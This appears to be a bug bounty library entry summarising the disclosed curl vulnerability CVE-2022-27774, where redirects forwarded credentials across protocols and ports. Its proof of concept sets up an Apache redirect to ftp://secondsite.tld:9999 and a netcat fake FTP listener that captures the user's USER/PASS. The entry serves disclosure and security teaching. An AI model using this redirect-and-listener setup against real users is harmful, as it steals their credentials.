# CVE-2022-27774: Credential leak on redirect

curl's same-host credential check ignored protocol and port, so an HTTP redirect to ftp://otherhost leaked the user's password to an attacker-controlled FTP server.

- Payout: $2,400
- Severity: medium
- Program: Internet Bug Bounty
- Found by: nyymi
- Disclosed: 2022-04-29
- CVE: CVE-2022-27774
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1551586
- Library page: https://bugbountylibrary.com/r/h1%3A1551586
- Tags: area:oss domain:oss impact:data-leak kind:bounty platform:hackerone sev:medium tech:curl technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** curl/libcurl redirect credential handling (--location / CURLOPT_FOLLOWLOCATION)
**Root cause:** The redirect same-host check compared only hostnames, not protocol or port, so cross-protocol (HTTPS->FTP) and cross-port redirects were treated as same host and credentials were forwarded.
**Steps:**
1. Configure Apache on firstsite.tld with `RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]`
2. Run fake FTP listener: `while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done`
3. Run `curl -L --user foo https://firstsite.tld/redirectpoc`
4. Observe `USER foo` / `PASS secretpassword` arriving at secondsite.tld:9999
**How found:** Researcher noticed the documented promise that credentials only go to the initial host, then tested a cross-protocol redirect (HTTPS to FTP) and a different port, observing the same-host check failed to block credential forwarding.
**Exploitation:** Attacker controls or compromises a redirect on an auth-protected HTTPS endpoint; curl -L follows the 301 to an ftp:// URL on a different host/port and sends the user's credentials in cleartext FTP USER/PASS to the attacker's listener.
**Insight:** When auditing credential-scoping logic, test each dimension of 'same origin' independently: protocol downgrade, port change, and host change. A check that only compares hostname will leak on the others.

## Proof of concept (copied exactly from the original report)

**curl command triggering credential leak via redirect**

```
curl -L --user foo  https://firstsite.tld/redirectpoc
```

**Apache mod_rewrite redirect to FTP**

```
RewriteCond %{HTTP_USER_AGENT} "^curl/"
    RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]
```

**Fake FTP server capturing credentials**

```
while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done
```

